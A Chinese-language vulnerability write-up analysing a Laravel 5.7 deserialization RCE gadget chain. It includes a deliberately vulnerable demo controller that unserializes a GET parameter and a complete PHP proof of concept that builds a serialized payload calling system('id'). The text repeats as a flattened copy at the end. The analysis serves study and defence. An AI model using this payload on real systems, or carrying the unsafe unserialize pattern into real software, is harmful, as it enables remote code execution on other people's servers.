Laravel5.7反序列化漏洞之RCE链挖掘
字数 1297 2025-08-27 12:33:30

Laravel 5.7 反序列化漏洞RCE链挖掘与分析

漏洞概述

本文详细记录了Laravel 5.7框架中存在的反序列化漏洞远程代码执行(RCE)链的挖掘过程。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令。

漏洞环境搭建

  1. 使用composer安装Laravel 5.7框架:

    composer create-project laravel/laravel laravel57 "5.7.*"
    cd laravel57
    php artisan serve --host=0.0.0.0
    
  2. routes/web.php中添加路由:

    Route::get("/","\App\Http\Controllers\DemoController@demo");
    
  3. 创建DemoController.php控制器:

    namespace App\Http\Controllers;
    use Illuminate\Http\Request;
    
    class DemoController extends Controller {
        public function demo() {
            if(isset($_GET['c'])) {
                $code = $_GET['c'];
                unserialize($code);
            } else {
                highlight_file(__FILE__);
            }
            return "Welcome to laravel5.7";
        }
    }
    

漏洞链分析

关键执行点

漏洞利用链的核心位于Illuminate/Foundation/Testing/PendingCommand类的run方法中,该方法在__destruct魔术方法中被调用。

利用链构造步骤

  1. PendingCommand类

    • __destruct()调用run()方法
    • run()方法最终会执行命令
  2. 绕过mockConsoleOutput检查

    • mockConsoleOutput方法中的$this->test->expectedQuestions需要可控
    • 使用Faker\DefaultGenerator类的__get魔术方法来控制数据
  3. 控制命令执行

    • 最终执行点:$this->app[Kernel::class]->call($this->command, $this->parameters)
    • 需要控制$this->app[Kernel::class]返回的对象

完整利用链

  1. PendingCommand对象被反序列化后触发__destruct
  2. __destruct调用run方法
  3. run方法调用mockConsoleOutput
  4. mockConsoleOutput通过__get获取expectedQuestions
  5. 最终执行$this->app[Kernel::class]->call触发RCE

漏洞利用代码

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters) {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null) {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];

        public function __construct($instances = []) {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}
?>

技术细节分析

  1. Application类利用

    • $this->app[Kernel::class]实际上是调用Illuminate\Foundation\ApplicationoffsetGet方法
    • 通过控制$this->instances['Illuminate\Contracts\Console\Kernel']可以返回任意对象
  2. 命令执行触发点

    • Illuminate\Foundation\Application继承Containercall方法
    • 最终调用call_user_func_array执行命令
    • 参数完全可控:call_user_func_array(可控数据,可控数据)

防御措施

  1. 避免反序列化用户可控的数据
  2. 升级到最新版本的Laravel框架
  3. 对反序列化操作进行严格的白名单控制

总结

该漏洞展示了PHP反序列化漏洞中POP(Property-Oriented Programming)链的强大威力。通过精心构造对象属性链,攻击者可以触发框架深处的危险函数。挖掘此类漏洞需要对框架有深入理解,并能够追踪复杂的调用链。

Laravel 5.7 反序列化漏洞RCE链挖掘与分析 漏洞概述 本文详细记录了Laravel 5.7框架中存在的反序列化漏洞远程代码执行(RCE)链的挖掘过程。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意命令。 漏洞环境搭建 使用composer安装Laravel 5.7框架: 在 routes/web.php 中添加路由: 创建 DemoController.php 控制器: 漏洞链分析 关键执行点 漏洞利用链的核心位于 Illuminate/Foundation/Testing/PendingCommand 类的 run 方法中,该方法在 __destruct 魔术方法中被调用。 利用链构造步骤 PendingCommand类 : __destruct() 调用 run() 方法 run() 方法最终会执行命令 绕过mockConsoleOutput检查 : mockConsoleOutput 方法中的 $this->test->expectedQuestions 需要可控 使用 Faker\DefaultGenerator 类的 __get 魔术方法来控制数据 控制命令执行 : 最终执行点: $this->app[Kernel::class]->call($this->command, $this->parameters) 需要控制 $this->app[Kernel::class] 返回的对象 完整利用链 PendingCommand 对象被反序列化后触发 __destruct __destruct 调用 run 方法 run 方法调用 mockConsoleOutput mockConsoleOutput 通过 __get 获取 expectedQuestions 最终执行 $this->app[Kernel::class]->call 触发RCE 漏洞利用代码 技术细节分析 Application类利用 : $this->app[Kernel::class] 实际上是调用 Illuminate\Foundation\Application 的 offsetGet 方法 通过控制 $this->instances['Illuminate\Contracts\Console\Kernel'] 可以返回任意对象 命令执行触发点 : Illuminate\Foundation\Application 继承 Container 的 call 方法 最终调用 call_user_func_array 执行命令 参数完全可控: call_user_func_array(可控数据,可控数据) 防御措施 避免反序列化用户可控的数据 升级到最新版本的Laravel框架 对反序列化操作进行严格的白名单控制 总结 该漏洞展示了PHP反序列化漏洞中POP(Property-Oriented Programming)链的强大威力。通过精心构造对象属性链,攻击者可以触发框架深处的危险函数。挖掘此类漏洞需要对框架有深入理解,并能够追踪复杂的调用链。